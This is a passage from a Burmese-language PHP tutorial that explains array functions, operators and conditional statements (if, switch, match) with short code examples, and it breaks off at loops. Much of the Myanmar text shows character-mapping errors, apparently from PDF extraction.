Variable တစ်ခုဟာ Array ဟုတ်မဟုတ် စစ်ချင်ရင် is_array() နဲ့စစ်နိုင်ပါတယ်။ ဟုတ်မှန်ရင် 1 gပန်
dပးပြပီး၊ မမှန်ရင် Empty ကို gပန်dပးပါတယ်။

 PHP 
<?php
$users = ["alice", "bob"];

echo is_array($users); // 1

တန်oုိးတစ်ခု Array ထဲမှာ ပါမပါ သိချင်ရင် in_array() နဲ့ စစ်နိုင်ပါတယ်။ ဟုတ်မှန်ရင် 1 gပန်dပးပြပီး၊
မမှန်ရင် Empty ကို gပန်dပးပါတယ်။

 PHP 
<?php
$users = ["alice", "bob"];

echo in_array('bob', $users); // 1

array_search() လည်းရှိပါdသးတယ်။ သူကdတာ့ တန်oုိးရှိမရှိ စစ်dပးယံုသာမက၊ ရှိတယ်ဆိုရင် အ့ဲ
ဒီတန်oုိး ရှိdနတဲ့ Index ကို gပန်dပးပါတယ်။
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 PHP 
<?php
$users =["tom", "bob", "alice"];

echo array_search("alice", $users); // 2

နမူနာမှာ ရှာလုိက်တဲ့တန်oိုးကို Index 2 မှာdတွ့လ့ုိ 2 ကိုgပန်dပးတာကို dတွ့ ရမှာ goစ်ပါတယ်။

Array  ရဲ့dနာက်ဆုံးကdန  တန်oုိး  ထပ်တိုးချင်ရင်  array_push() ကိုသံုးနိုင်ပါတယ်။  dနာက်ဆုံးက
တန်oုိးကို  ပယ်oျက်ချင်ရင်  array_pop() ကိုသုံးနိုင်ပါတယ်။  dရှ့ဆုံးကdန  တန်oုိးထပ်တိုးချင်ရင်
array_unshift() ကိုသံုးနိုင်ပါတယ်။ dရှ့ဆုံးကတန်oုိးကို  oျက်ချင်ရင်  array_shift() ကိုသုံး
နိုင်ပါတယ်။

<?php
$users =["alice", "bob"];

array_push($users, "tom");
print_r($users); // ["alice", "bob", "tom"]

array_pop($users);
print_r($users); // ["alice", "bob"]

Array ထဲက တစ်ချ ို ့အပုိင်းdတွကို oယ်ထုတ်/ထုတ်ယူ လုိရင် array_splice() ကိုသုံးနိုင်ပါတယ်။

 PHP 
<?php
$users =["tom", "bob", "alice"];
$result = array_splice($users, 1, 1);
print_r($users); // Array ( [0] => tom [1] => alice )
print_r($result); // Array ( [0] => bob ) 
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နမူနာအရ $users Array ရဲ့ Index 1 ကdနစပြပီး 1 ခုထုတ်ယူမယ်လ့ုိ dgပာလုိက်တာပါ။ ဒါdeကာင့် မူလ
$users Array  မှ  Index 1  oယ်ထုတ်လုိက်ပြပီး၊  ရလဒ်အdနနဲ့  အ့ဲဒီလုိ  oယ်ထုတ်လုိက်တဲ့  တန်oုိးကို  ရ
တယ်ဆိုတာကို dတွ့ရမှာ goစ်ပါတယ်။ ဒါdeကာင့် array_splice() ကို တစ်ချ ို ့အပုိင်းdတွ oယ်ထုတ်
o့ုိ အသံုးgပုနိုင်သလုိ လုိချင်တဲ့ အပိုင်းကို ထုတ်ယူo့ုိလည်း သံုးနိုင်ပါတယ်။

Array  ရဲ့  Index  dတွချည်း လုိချင်ရင်  array_keys() ကိုသုံးနိုင်ပါတယ်။  Array  ရဲ့  Value  dတွချည်း
လုိချင်ရင် array_values() ကိုသုံးနိုင်ပါတယ်။

 PHP 
<?php
$user =["name" => "alice", "age" => 22];

$keys = array_keys($user);
$vals = array_values($user);
print_r($keys);// Array ( [0] => name [1] => age )
print_r($vals);// Array ( [0] => alice [1] => 22 )

Array ကို Value နဲ့ Sorting စီချင်ရင် sort() ကိုသုံးနိုင်ပါတယ်။ dgပာင်းgပန်စီချင်ရင် rsort() ကိုသုံး
နိုင်ပါတယ်။ Array ကို Index နဲ့ စီချင်ရင်dတာ့ ksort() ကိုသုံးနိုင်ပြပီး dgပာင်းgပန်စီချင်ရင် krsort()
ကိုသံုးနိုင်ပါတယ်။

 PHP 
<?php
$users =["tom" => 23, "bob" => 22, "alice" => 24];
sort($users);
print_r($users);
// Array ( [0] => 22 [1] => 23 [2] => 24 )

$users =["tom" => 23, "bob" => 22, "alice" => 24];
ksort($users);
print_r($users);
// Array ( [alice] => 24 [bob] => 22 [tom] => 23 )
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ဒီ  Function  dတွက Array  အသစ်ကို  gပန်dပးတာ မဟုတ်ပါzူး။  မူလ   Array    ကို gပင်လုိက်တာပါ  ။ ဒါကို
သတိထားoို့ လုိပါလိမ့်မယ်။ gပင်ပြပီးမှ မူလတန်oုိးအတိုင်း gပန်လိုချင်ရင် ရမှာမဟုတ်dတာ့ပါzူး။

dနာက်ထပ်အသံုးဝင်တဲ့  Function  နှစ်ခုကdတာ့  explode() နဲ့  implode() goစ်ပါတယ်။  String
တစ်ခမှာပါတဲ့ Character dတွ Word dတွ ကိုခွဲထုတ်ပြပီး Array အdနနဲ့လုိချင်ရင် explode() ကို သံုးရ
ပါတယ်။  အgပန်အလှန်အားgoင့်  Array  တန်oုိးdတွကို  dပါင်းစပ်ပြပီး  String  အdနနဲ့  လုိချင်ရင်
implode() ကိုသံုးရပါတယ်။

 PHP 
<?php
$input = "A quick brown fox.";
$arr = explode(" ", $input);
print_r($arr);
// Array ( [0] => A [1] => quick [2] => brown [3] => fox. )

$str = implode(" ", $arr);
echo $str;
// A quick brown fox.

explode() ကိုသံုးပြပီး  Space  နဲ့  ပုိင်းgoတ်o့ုိ  dgပာလုိက်တာပါ။  ဒါdeကာင့်  $input String  မှာပါတဲ့
Word တစ်ခုချင်းစီပါဝင်တဲ့ Array ကိရုပါတယ်။ အ့ဲဒီ Array ကို Space ခံပြပီး gပန်dပါင်းdပးo့ုိ implode()
နဲ့ dgပာလုိက်တဲ့အခါ မူလ String ကို gပန်ရတာgoစ်ပါတယ်။

တgခားအသံုးဝင်တဲ့  လုပ်dဆာင်ချက်dတွ  အdgမာက်အgမားရှိdသးdပမယ့်  ဒီdလာက်စမ်းeကည့်ထားရင်
dတာ်dတာ်dလး gပည့်စုံdနပါပြပီ။  ကျန်တာdတွက လက်dတွ့လုိအပ်လာdတာ့မှ  ဆက်လက်dလ့လာလုိက်
လ့ုိ ရနိုင်ပါတယ်။

- https://www.php.net/manual/en/ref.array.php

https://www.php.net/manual/en/ref.array.php
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PHP  မှာ  dပါင်းနှုတ်dgမှာက်စား  လုပ်ငန်းdတွအတွက်  +,  -,  *,  /  Operator  ကိုပဲသံုးပါတယ်။  ဒီထဲက
ထူးgခားချက်လ့ုိ dgပာလ့ုိရတာက + Operator goစ်ပါတယ်။ JavaScript လုိ Language မျ ို းမှာ + Operator
ကို ကိန်းZဏနေန်းdတွ dပါင်းo့ုိသုံးသလုိ၊ String dတွ Concatenation လုပ်ပြပီးတွဲဆက်o့ုိလည်း သံုးပါတယ်။
PHP မှာdတာ့ String   dတတွွဲဆက်oို့အတွက်   +   ကို မသံုးပါzူး  ။ Dot Operator ကိုသာ သံုးပါတယ်။

 PHP 
<?php
$greet = "Welcome";
$name = "Bob";

echo $greet . " " . $name; // Welcome Bob

String Variable နှစ်ခုနဲ့  Double Quote String တစ်ခု၊ စုစုdပါင်း သံုးခုကို  Dot Operator နဲ့ တန်းစီ တွဲ
ဆက်လုိက်တာပါ။ တစ်ကယ်dတာ့ ဒီdနရာမှာ Dot နဲ့ တွဲဆက်မှdတာ့ မဟုတ်ပါzူး။ တgခားပုိdကာင်းတဲ့
နည်းdတွ ရိှပါတယ်။ ဥပမာ – 

 PHP 
<?php
$greet = "Welcome";
$name = "Bob";

echo "$greet $name"; // Welcome Bob
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Double  Quote  String  ထဲမှာ  Variable  dတွထည့်သုံးလ့ုိရတဲ့အတွက်  တွဲဆက်မdနdတာ့zဲ  တစ်ခါထဲ
ထည့်dပးလုိက်တာပါ။  ဒါdပမယ့်  တစ်ချ ို ့dနရာdတွမှာ  တဲွဆက်ပြပီးdရးdပးမှ  ပုိအဆင်dgပမယ့်  dနရာမျ ို း
dတွ ရိှပါတယ်။ ဒီလိုပါ –

 PHP 
<?php
$data = ["Apple", "Orange"];

echo $data[0] . " and " . $data[1];
// Apple and Orange

ဒီdနရာမှာ  တစ်ခု  goည့်စွက်မှတ်သားdစချင်တာက  echo Keyword  နဲ့  ရလဒ်dတွကို  doာ်gပdစတဲ့အခါ
Comma ခံပြပီး နှစ်ခုသံုးခု dပးလို့ရပါတယ်။ ဒါdeကာင့် ဒီလုိdရးရင်လည်း ရလဒ်အတူတူပါပဲ။

echo $data[0], " and ", $data[1];
// Apple and Orange

ရလဒ်တူdပမယ့် Operator မတူတာကိုdတာ့ သတိgပုပါ။ Dot Operator က String dတွကို တွဲဆက်dပး
တာgoစ်ပြပီး Comma ကdတာ့ String dတွကို တွဲဆက်dပးတာ မဟုတ်ပါzူး။ echo အတွက် Argument
သdzာမျ ို း နှစ်ခုသံုးခု dပးချင်ရင် သံုးရတာပါ။

dပါင်းနှုတ်dgမှာက်စား  သdက[တdတွထဲမှာ  %  သdက[တကို  အကြွကင်းရှာo့ုိသံုးပြပီး  **  သdက[တကို
Exponent ရှာo့ုိအတွက် သံုးပါတယ်။

 PHP 
<?php
echo 5 % 3; // 2
echo 2 ** 3; // 8
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Comments
Operator  dတွအdeကာင်းdgပာလက်စနဲ့  တစ်ခုထည့်dgပာချင်ပါdသးတယ်။  PHP  မှာ  Code  Comment
dတွ  ထည့်dရးo့ုိအတွက်  သံုးလ့ုိရတဲ့  dရးနည်း  (၃)  နည်းရှိပါတယ်။  //  Operator  ကို  Single-line
Comment dတွအတွက် သံုးရပြပီး /* အoွင့်နဲ့ */ အပိတ်တို့eကားမှာ Multi-line Comment dတွကို dရးလို့ရ
ပါတယ်။ ထူးgခားချက်ကdတာ့ # Operator ကိုလည်း Single-line Comment dတွ dရးo့ုိအတွက် သံုးနိုင်
ပါdသးတယ်။

 PHP 
<?php
# This is a valid comment

echo 1 + 2; # 3

Assignment Operators
PHP မှာလည်း = Operator ကို တန်oုိးdတွ သတ်မှတ်o့ုိအသံုgပုရပြပီး += ကို တန်oုိးdတွ dပါင်းထည့်o့ုိ သံုး
ရပါတယ်။

 PHP 
<?php
$num = 3;
$num += 2;

echo $num; // 5

အလားတူအdနနဲ့ -=, *=, /= Operator dတွလည်း ပါဝင်ပါdသးတယ်။ 

ထူးgခားချက်ကdတာ့ String dတွတွဲဆက်ထည့်သွင်းလ့ုိရတဲ့ .= Operator လည်း ပါဝင်gခင်း goစ်ပါတယ်။
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 PHP 
<?php
$result = "Welcome";
$result .= " ";
$result .= "Bob";

echo $result; // Welcome Bob

မူလ  String Variable  ထဲကို  dနာက်ထပ်  String  တန်oုိးdတွ တွဲဆက်ထည့်သွင်းသွားတာ goစ်ပါတယ်။
လက်ရှိတန်oုိးကို 1 တိုးo့ုိနဲ့ 1 နှုတ်o့ုိအတွက် ++ နဲ့ -- Operator တို့ကို သံုးနိုင်ပါတယ်။

$x = 3;
$y = $x++; // $y => 3, $x => 4

နမူနာအရ  $x ရဲ့  လကရ်ှိတန်oုိး  3  goစ်ပါတယ်  ++ နဲ့  1  တိုးပြပီး  $y  ထဲကို  Assign  လုပ်တဲ့အခါ  ++ ကို
dနာက်ကdနdရးတဲ့အတွက် အလုပ်အရင်လုပ်ပြပီးမှ 1 တိုးသွားမှာ goစ်ပါတယ်။ ဒါdeကာင့် $y တန်oုိး 3 goစ်
ပြပီး $x တန်oုိးကdတာ့ 4 goစ်dနတာပါ။ ဒီဥပမာကိုပဲ ++ ကိdုရှ့ကdရးမယ်ဆိုရင် ဒီလုိgoစ်သွားမှာပါ။

$x = 3;
$y = ++$x; // $y => 4, $x => 4

-- Operator က 1 နှုတ်တဲ့အခါမှာလည်း ဒီသdzာပဲ goစ်ပါတယ်။ Operator ကို dရှ့ ကထားရင် 1 နှုတ်
ပြပီးမှ အလုပ်လုပ်ပြပီး Operator ကိုdနာက်ကထားရင် အလုပ်လုပ်ပြပီးမှ 1 နှုတ်လုိက်မှာ goစ်ပါတယ်။

Comparison Operators
တန်oုိးdတွ နှိုင်းယှဉ်o့ုိအတွက်သံုးရတဲ့ Comparison Operator dတွမှာdတာ့ တန်oုိးdတွ ညီမညီ နှိုင်းယှဉ်
o့ုိအတွက်  == ကို  Equal Operator  အgoစ်သုံးရပြပီး၊ တန်oုိးdတွ မညီzူးလား နှိုင်းယှဉ်o့ုိအတွက်  != ကို
Not Equal Operator  အgoစ်သုံးရပါတယ်။ ထူးgခားချက် အdနနဲ့  <> ကို  Not Equal Operator  အdနနဲ့
သံုးနိုင်ပါတယ်။
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PHP  ဟာလည်း  Loosely Typed Language  goစ်လ့ုိ  JavaScript  မှာလိုပဲ  Identical  Equal  Operator
=== နဲ့  Identical Not Equal Operator  !== တို့ပါဝင်ပါတယ်။ ရိုးရိုး  == နဲ့  != က တန်oုိးညီမညီကိုပဲ
နှိုင်းယှဉ်မှာgoစ်ပြပီး Data Type ကို oလှယ်အလုပ်လုပ်သွားမှာ goစ်ပါတယ်။ ဥပမာ –

 PHP 
<?php 
echo 5 == "5"; // 1

နမူနာမှာdပးထားတဲ့ ရလဒ် 1 ဆိုတာ true ဆိုတဲ့အဓိပ္ပါယ်goစ်ပါတယ် Integer 5 နဲ့ String "5" တို့ အမျ ို း
အစား မတူdပမယ့် တူdအာင်ညှိပြပီးအလုပ်လုပ်သွားလုိ့  ညီတယ်လ့ုိ dgပာdနတာပါ။  Identical  Operator
dတကွdတာ့ Type ကိုတူdအာင်မညိှzဲ အရှိအတိုင်း နှိုင်းယှဉ်မှာ goစ်ပါတယ်။

 PHP 
<?php
echo 5 === "5"; //

ရလဒ်အdနနဲ့  Empty  ကိုgပန်ရdနတာပါ။ ရလဒ်မရှိပါzူး။ ရလဒ်မရှိgခင်းဟာ false goစ်လ့ုိ  false ဆို
တဲ့ အဓိပ္ပါယ်ပါပဲ။ တန်oုိးအကြကီးအdသး နှိုင်းယှဉ်oို့အတွက် Less Than <, Greater Than >, Less Than
Equal  <=,  Grater  Than  Equal  >= စတဲ့  Operator  ကိုအသံုးgပုပါတယ်။  ထူးgခားချက်ကdတာ့
Spaceship Operator လ့ုိdခါ်တဲ့ dရးထံုးတစ်မျ ို း goည့်စွက်ပါဝင်gခင်း goစ်ပါတယ်။ ဒီလုိပါ –

 PHP >= 7.0 
<?php
echo 3 <=> 5; // -1
echo 5 <=> 5; // 0
echo 5 <=> 3; // 1

သူက ရလဒ်ကို  (၃)  မျ ို းgပန်dပးပါတယ်။ နှိုင်းယှဉ်တန်oုိးနှစ်ခုမှာ dရှ့ တန်oုိးက ငယ်ရင်  -1  ကိုgပန်dပးပြပီး၊
တန်oုိးနှစ်ခုညီdနရင်  0  ကို  gပန်dပးပါတယ်။  dနာကတ်န်oိုးက  ငယ်dနရင်dတာ့  1  ကိုgပန်dပးပါတယ်။
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ထူးဆန်းတဲ့  Operator  တစ်ခုgoစ်dနdပမယ့်  အသံုးဝင်တဲ့dနရာdတွ  ရိှပါတယ်။  dလာdလာဆယ်dတာ့
အလုပ်လုပ်ပံုကိုသာ မှတ်ထားလုိက်ပါ။

Logical Operators
PHP မှာ ! ကို NOT Operator အdနနဲ့ပဲ သံုးပါတယ်။ && ကို AND Operator အdနနဲ့သံုးပြပီး || ကို OR
Operator  အdနနဲ့  သံုးပါတယ်။ ထူးgခားချက်ကdတာ့  and ဆိုတဲ့  Keyword  ကိုလည်း  AND Operator
အdနနဲ့  အသံုးgပုနိုင်ပြပီး  or ဆိုတဲ့  Keyword  ကိုလည်း  OR  Operator  အdနနဲ့  အသံုးgပုနိုင်gခင်းgoစ်ပါ
တယ်။

 PHP 
<?php
$x = 3;
$y = 5;

echo $x === $y || $x === 3; // 1 (true)
echo $x === $y or $x === 3; // 1 (true)

echo $x === $y && $x === 3; //  (false)
echo $x === $y and $x === 3; //  (false)

echo !($x === $y and $x === 3); // 1 (true)

dနာက်ထပ်ထူးgခားချက်ကdတာ့ PHP မှာ xor ကို XOR Operator   အdနနဲ့ အသုံးgပုနိုင်gခင်း   goစ်ပါတယ်။
JavaScript  မှာဆိုရင်  XOR Operator  မရှိပါzူး။  PHP မှာdတာ့ ရိှပါတယ်။ ရိုးရိုး  OR က နှိုင်းယှဉ်တန်oိုး
နှစ်ခုမှာ  တစ်ခုမှန်ရင်  ရလဒ်မှန်သလုိ  နှစ်ခုလံုးမှန်ရင်လည်း  ရလဒ်မှန်ပါတယ်။  XOR  ကdတာ့  နှိုင်းယှဉ်
တန်oုိးနှစ်ခုမှာ တစ်ခု မှန်ရင် ရလဒ်မှန်ပြပီး နှစ်ခုလံုးမှန်ရင် ရလဒ်မှားပါတယ်။ 

 PHP 
<?php
$x = 3;
$y = 5;
echo $x < $y or $x === 3; // 1 (true)
echo $x < $y xor $x === 3; // (false)
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နမူနာအရ $x < $y ဟာ true goစ်ပြပီး  $x === 3 ဟာလည်း true goစ်ပါတယ်။ နှစ်ခုလံုး  true
goစ်dနတဲ့အတွက် or ရလဒ် ture goစ်ပြပီး xor ရလဒ် false goစ်dနတာကို dတွ့gမင်ရမှာ goစ်ပါတယ်။

Ternary & Null Coalescing Operator
PHP  မှာ  Ternary  Operator  နဲ့  Null  Coalescing  Operator  ဆိုတဲ့  Conditional  Expression
လုပ်dဆာင်ချက်dတွ ရှိပါတယ်။ Ternary Operator ကိုအသံုးgပုပြပီး အခုလုိdရးနိုင်ပါတယ်။

 PHP 
<?php
$name = "";
echo $name ? $name : "Unknown"; // Unknown

$name = "Alice";
echo $name ? $name : "Unknown"; // Alice

Ternary  Operator  က  dပးလုိက်တဲ့  ပထမဆုံး  Expression  ရဲ့  ရလဒ်  true goစ်ရင်  ? dနာက်က
Expression ကို ဆက်လုပ်သွားမှာgoစ်ပြပီး false goစ်ရင် : dနာက်က Expression ကို ဆက်လုပ်သွားမှာ
goစ်ပါတယ်။  ပထမနမူနာအရ  $name Variable  ရှိမရှိ  စစ်eကည့်လုိက်တဲ့အခါ  Empty  String  deကာင့်
false goစ်dနတဲ့အတွက် Unknown လ့ုိ doာ်gပသွားမှာပါ။ dနာက်နမူနာမှာdတာ့ $name တန်oုိးရှိသွား
ပြပီ goစ်တဲ့အတွက် $name တန်oုိးကို doာ်gပသွားမှာ goစ်ပါတယ်။

ဒါကို အတိုdကာက် အခုလုိ dရးလို့ရနိုင်ပါdသးတယ်။

 PHP 
<?php
$name = "";
echo $name ?: "Unknown"; // Unknown

$name = "Alice";
echo $name ?: "Unknown"; // Alice
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စစ်ချင်တဲ့  Expression နဲ့  true goစ်ရင် လုပ်ရမယ့် Expression တူdနလ့ုိ ဒီလုိdရးလို့ရတာပါ။ ဒါdပမယ့်
အခုdoာ်gပခဲ့တဲ့  ဒီနှစ်နည်းလံုးမှာ  gပဿနာတစ်ခdုတာ့  ရိှdနပါတယ်။  $name က  ကြကိုတင်ရှိdနလ့ုိသာ
အလုပ်လုပ်တာ goစ်ပြပီး  $name ကသာ ကြကိုတင်ရှိမdနရင်  Undefined variable Warning  တက်ပါလိမ့်
မယ်။ အ့ဲဒီလုိ တက်မှာစိုးလ့ုိ တမင် $name ကို အရင်ကြကိုdeကညာပြပီးdတာ့မှ dရးရတဲ့ နမူနာကို dပးထား
တာပါ။

 PHP 
<?php
echo $name ? $name : "Unknown";
// Warning: Undefined variable $name

echo $name ?: "Unknown";
// Warning: Undefined variable $name

ဒီလုိအdgခအdနမျ ို းမှာ isset() နဲ့ Variable ရိှမရှိ စစ်ပြပီးမှ dရးရင်dတာ့ရပါတယ်။ 

echo isset($name) ? $name : "Unknown"; // Unknown

ဒီတစ်ခါdတာ့ Undefined variable Warning မတက်dတာ့ပါzူး။ Variable ကို မရှိzဲနဲ့ သံုးလုိက်တာမျ ို း
မဟုတ်dတာz့ဲ ရိှ/မရှိ စစ်ပြပီးအလုပ်လုပ်dစတဲ့နည်းကို သံုးလိုက်တာ goစ်သွားလ့ုိပါ။ ဒီထက်ပုိပြပီး ကျစ်လစ်
တဲ့ dရးဟန်ရo့ုိအတွက် Null Coalescing Operator ကိုလည်း အသုံးgပုနိုင်ပါတယ်။ ဒီလုိပါ။

 PHP >= 7.0 
<?php
echo $name ?? "Unknown";   // Unknown

?? သdက[တနဲ့ dရးရတာ goစ်သွားပါပြပီ။ ဒီတစ်ခါမှာလည်း Undefined variable Warning မတက်ပါzူး။
Null Coalescing Operator goစ်တဲ့ ?? က ရှိမရှိစစ်ပြပီးမှ အလုပ်လုပ်dပးသွားမှာမ့ုိလ့ုိပါ။ Null Coalescing
Assignment Operator လည်းရှိပါdသးတယ်။ ဒီလုိပါ –
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 PHP >= 7.0 
<?php
$result = "Alice";
$result ??= $name;

echo $result;     // Alice

$result ရဲ့ မူလတန်oုိး  Alice  goစ်ပြပီး  $name ရှိdနရင်  $name တန်oုိးကို  $result ထဲမှာ  Assign
လုပ်လုိက်ချင်တာပါ။  ဒါdပမယ့်  မရှိရင်dတာ့  Assign  မလုပ်dစချင်ပါzူး။  ဒါdeကာင့်  Null  Coalescing
Assignment  Operator  goစ်တဲ့  ??= ကို  အသံုးgပုလုိက်တာပါ။  နမူနာအရ  Assign  လုပ်လုိက်dပမယ့်
$name တန်oုိး မရှိတဲ့အတွက် မူလတန်oုိး Alice ကိုပဲ doာ်gပdပးတာကို dတွ့ရမှာပဲ goစ်ပါတယ်။

Control Structures
Conditional Statements dတွdရးသားoို့အတွက် PHP မှာ if Statement ကိုပဲသံုးပါတယ်။ ရှိနိုင်တဲ့dရး
နည်း မူကွဲdတွက ဒီလိုပါ – 

 PHP 
<?php
$time = date("h");
if($time > 6 and $time < 18) echo "Day Time"; 
else echo "Night Time";

နမူနာအရ  လက်ရှိအချနိ်ကို  if Condition  နဲ့  စစ်လုိက်ပြပီး မနက်  (၆)  နာရီထက်ကြကီးပြပီး နဲ့  ညdန  (၆)
နာရီထက် ငယ်ရင် Day Time လ့ုိ ရိုက်ထုတ် doာ်gပdပးမှာပါ။ အကယ်၍ မဟုတ်ခဲ့ရင် dတာ့ Night Time
လ့ုိ ရိုက်ထုတ်doာ်gပdပးမှာပါ။ Condition မှားမှန်dပါ်မူတည်ပြပီး လုပ်ရမယ့် Statement က တစ်deကာင်း
စီသာပါဝင်တဲ့အတွက်  တွန့်ကွင်းအoွင့်အပိတ်dတွ  မထည့်zဲdရးထားတာပါ။  တွန့်ကွင်းအoွင့်အပိတ်dတွ
ထည့်dရးမယ်ဆိုရင် ဒီလုိdရးရမှာပါ။
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 PHP 
<?php
$time = date("h");
if($time > 6 and $time < 18) {
    echo "Day Time"; 
} else {
    echo "Night Time";
}

ဒီလုိတွန့်ကွင်းအoွင့်အပိတ်dတွနဲ့  မdရးzဲ  Alternative  Syntax  နဲ့dရးလ့ုိရတာကို  အထက်မှာလည်း
doာ်gပခဲ့ပြပီးgoစ်ပါတယ်။ dနာက်တစ်ကြကိမ် ထပ်ပြပီးdတာ့ doာ်gပပါဦးမယ်။

 PHP 
<?php
$time = date("h");

if($time > 6 and $time < 18):
    echo "Day Time"; 
else:
    echo "Night Time";
endif;

ဒီလုိတွန့်ကွင်းdတွမပါတဲ့  Alternative Syntax ကို  HTML နဲ့  PHP dရာdရးတဲ့အခါမှာ အသံုးများပြပီး  PHP
ချည်းသက်သက်ဆိုရင်dတာ့ သိပ်မသံုးeကပါzူး။ PHP မှာ elseif dရးထံုးလည်း ရှိပါdသးတယ်။

 PHP 
<?php
$day = date("D");
if($day === "Sun") {
    echo "Today is Sunday.";
} elseif ($day === "Sat") {
    echo "Today is Saturday.";
} else {

echo "Today is a weekday.";
}
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data() Function ကို Argument အdနနဲ့ D လုိက်တဲ့အခါ Sun, Mon, Tue စသည်goင့် ဒီကdန့zာdန့
လဲဆိုတဲ့ တန်oုိးကို gပန်ရပါတယ်။ အ့ဲဒီတန်oုိးကို စစ်ပြပီးလုပ်ချင်တဲ့အလုပ်က မှားမှန် နှစ်ခုထဲမဟုတ်dတာ့
တဲ့အတွက်  elseif Statement  ကိုထည့်သံုးထားပါတယ်။  နမူနာအရ  $day တန်oုိးဟာ  Sun  ဆိရုင်
Today is Sunday. ဆိုတဲ့စာကို doာ်gပပြပီး  $day တန်oုိးဟာ Sat ဆိုရင် Today is Saturday. ဆိုတာစာ
ကို doာ်gပdပးမှာပါ။  Condition  နှစ်ခါစစ်ထားတာပါ။ အ့ဲဒီနှစ်ခုလုံး မမှန်dတာ့မှ  Today is a weekday.
ဆိုတဲ့စာကို  doာ်gပdပးမှာပဲ  goစ်ပါတယ်။  eကားထဲမှာ  dနာက်ထပ်  Condition  dတွထပ်ထည့်ချင်ရင်
elseif dတွထပ်တိုးပြပီး ထည့်လ့ုိရပါdသးတယ်။

ဒီdနရာမှာ  သတိgပုရမှာက  JavaScript  မှာ  ဆိုရင်  elseif Statement  မရှိပါzူး။  အ့ဲဒီလို  elseif
Statement မရှိခဲရ့င်လည်း တူညီတဲ့ ရလဒ်ရo့ုိအတွက် အခုလုိdရးနိုင်ပါတယ်။

 PHP 
<?php
$day = date("D");
if($day === "Sun") {
    echo "Today is Sunday.";
} else if ($day === "Sat") {
    echo "Today is Saturday.";
} else {

echo "Today is a weekday.";
}

else  if goစ်သွားတာပါ။  eကားထဲမှာ  Space  gခားထားပါတယ်။  else Statement  အတွက်
dနာက်ထပ် ထပ်ဆင့်  if Statement  တစ်ခုကို  dပးလုိက်တာပါ။  elseif ဆိုတဲ့  သီးgခား  Statement
မဟုတ်dပမယ့် ရလဒ်ကdတာ့ အတူတူပါပဲ။

PHP မှာ Switch Statement လည်းရှိပါတယ်။ ဒီလုိပါ – 
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 PHP 
<?php
$day = date("D");
switch($day) {
    case "Sat":
    case "Sun":
        echo "Weekend";
        break;
    case "Fri":
        echo "TGIF";
        break;
    default:
        echo "Weekday";
}

switch ရဲ့ သdzာအရ dပးလုိက်တဲ့တန်oုိးနဲ့ ညီတဲ့  case ကိုသွားပြပီး အလုပ်လုပ်မှာgoစ်လ့ုိ  $day က
စdနdန့goစ်ခဲ့ရင် Sat case ကိုdရာက်သွားမှာပါ။ zာ Statement မှမရှတိဲ့အတွက် dနာက်တစ်ဆင့်goစ်တဲ့
Sun case  ကိုဆက်သွားလုိက်မှာgoစ်လ့ုိ  Weekend  ဆိုတဲရ့လဒ်ကို  dတွ့gမင်ရမှာ goစ်ပါတယ်။ ပြပီးတဲ့အခါ
break Statement ကိုdတွ့တဲ့အတွက် dနာက်အဆင့်ကို ဆက်မသွားdတာ့ပဲ အ့ဲဒီdနရာမှာတင် ရပ်လုိက်
မှာ goစ်ပါတယ်။ အကယ်၍ $day က dသာeကာdန့ဆိုရင်dတာ့  Fri case  ကိdုရာက်သွားပြပီး  TGIF ဆိုတဲ့
ရလဒ်ကို doာ်gပမှာ goစ်ပါတယ်။ ပြပီးတဲ့အခါ break Statement နဲ့ ရပ်ခိုင်းထားတဲ့အတွက် dနာက်အဆင့်
ကို ဆက်မသွားdတာ့zဲ အ့ဲဒီdနရာမှာတင် ရပ်လုိက်မှာ goစ်ပါတယ်။ dပးထားတဲ့  case dတွ တစ်ခုမှ မ
ကိုက်ရင်dတာ့  default Statement  ကို  အလုပ်လုပ်သွားမှာပဲ  goစ်ပါတယ်။ ဒါdeကာင့်  $day တန်oုိး
Sat, Sun, Fri တစ်ခုမှမဟုတ်ခဲ့ရင် Weekday ဆိုတဲ့ရလဒ်ကို ရမှာပဲ goစ်ပါတယ်။

PHP 8  မှာ  switch Statement  နဲ့ဆင်တူတဲ့  match Expression  goည့်စွက် ပါဝင်လာပါတယ်။ သူက
Expression   goစ်သွားတဲ့အတွက်   Variable   ထဲကို ထည့်လုိက်လ့ုိရ   တာမျ ို း အပါအဝင် ထူးgခားတဲ့ အသံုးgပု
မှုမျ ို းdတွနဲ့ သံုးလ့ုိရနိုင်သွားပါတယ်။ ဒီလုိပါ –
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 PHP >= 8.0 
<?php
$day = date("D");
$result = match($day) {
    "Sat", "Sun" => "Weekend",
    "Fri" => "TGIF",
    default => "Weekday"
};

echo $result;

ထူးgခားတဲ့dရးထံုးgoစ်လ့ုိ dသချာdလး Zရုစိုက်eကည့်လုိက်ပါ။ $result Variable နဲ့  match() ကgပန်
dပးတဲ့  ရလဒ်ကို  လက်ခံထားပါတယ်။  match ရဲ့dနာက်က ကွင်းစကွင်းပိတ်ထဲမှာ စစ်ချင်တဲ့  တန်oုိးကို
dပးရပါတယ်။ နမူနာအရ Sat  နဲ့  Sun ဆိုရင်  Weekend ကို gပန်dပးလုိက်မှာပါ။  echo နဲ့ရိုက်ထုတ်ထား
တာ  မဟုတ်ပါzူး။  Return  gပန်dပးရမယ့်  တန်oုိးကို  သတ်မှတ်ထားတာပါ။  သ့ူမှာလည်း  default
dရးထံုးပါဝင်ပါတယ်။ အားလုံးပြပီးdတာ့မှ  dနာက်ဆုံးမှာ ရလဒ်  $result ကို  echo နဲ့  ရိုက်ထုတ်ထား
gခင်းပဲ goစ်ပါတယ်။

switch     က တန်oုိးနှိုင်းယှဉ်o့ုိ    ==     ကိုသံုးပြပီး    match     က   ===     ကိုသံုးတယ်ဆိုတာကိုလည်း သတိgပုပါ  ။
switch မှာ  switch("5") လ့ုိစစ်ထားရင်  case 5 ကို အလုပ်လုပ်dပးပါတယ်။  String "5" ကိုစစ်
ထားdပမယ့် Integer 5 ဆိရုင်လည်း အလုပ်လုပ်dပးမှာပါ။ match("5") လ့ုိစစ်ထားရင်dတာ့ 5 => ကို
အလုပ်လုပ်မှာ မဟုတ်ပါzူး။ String "5" ကို စစ်ထားတဲ့အတွက် String "5" ကိုdတွ့မှသာ အလုပ်လုပ်မှာ
မ့ုိလ့ုိပါ။

PHP  မှာ  အကြကိမ်ကြကိမ်  Loop  လုပ်ပြပီးdရးရမယ့်  ကုဒ်dတွအတွက်  while,  do-while နဲ့  for
Statement တို့ကို သံုးနိုင်ပါတယ်။ while Statement ဟာ Condition က true goစ်dနသ၍ dပးလုိက်
